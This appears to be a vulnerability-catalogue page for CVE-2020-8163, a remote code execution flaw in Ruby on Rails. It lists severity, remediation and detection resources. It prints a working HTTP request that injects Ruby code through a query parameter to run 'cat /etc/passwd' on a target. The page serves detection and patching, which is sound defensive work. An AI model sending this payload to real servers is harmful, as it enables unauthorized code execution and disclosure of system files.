🔙 목록으로 돌아가기

CVE-2020-8163: Ruby on Rails <5.0.1 - Remote Code Execution

TitleRuby on Rails <5.0.1 - Remote Code Execution
Authortim_koopmans
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized remote code execution.
RemediationUpgrade Ruby on Rails to version 5.0.1 or above.
CVSS Score8.8
EPSS Score0.90927
CVE IDCVE-2020-8163
CWE IDCWE-94
Shodan Querycpe:"cpe:2.3:a:rubyonrails:rails"
Tags cve cve2020 rails rce hackerone rubyonrails vuln

🔍 Vulnerability Description

Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.

🌐 HTTP Request

GET /?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8163.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8163.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A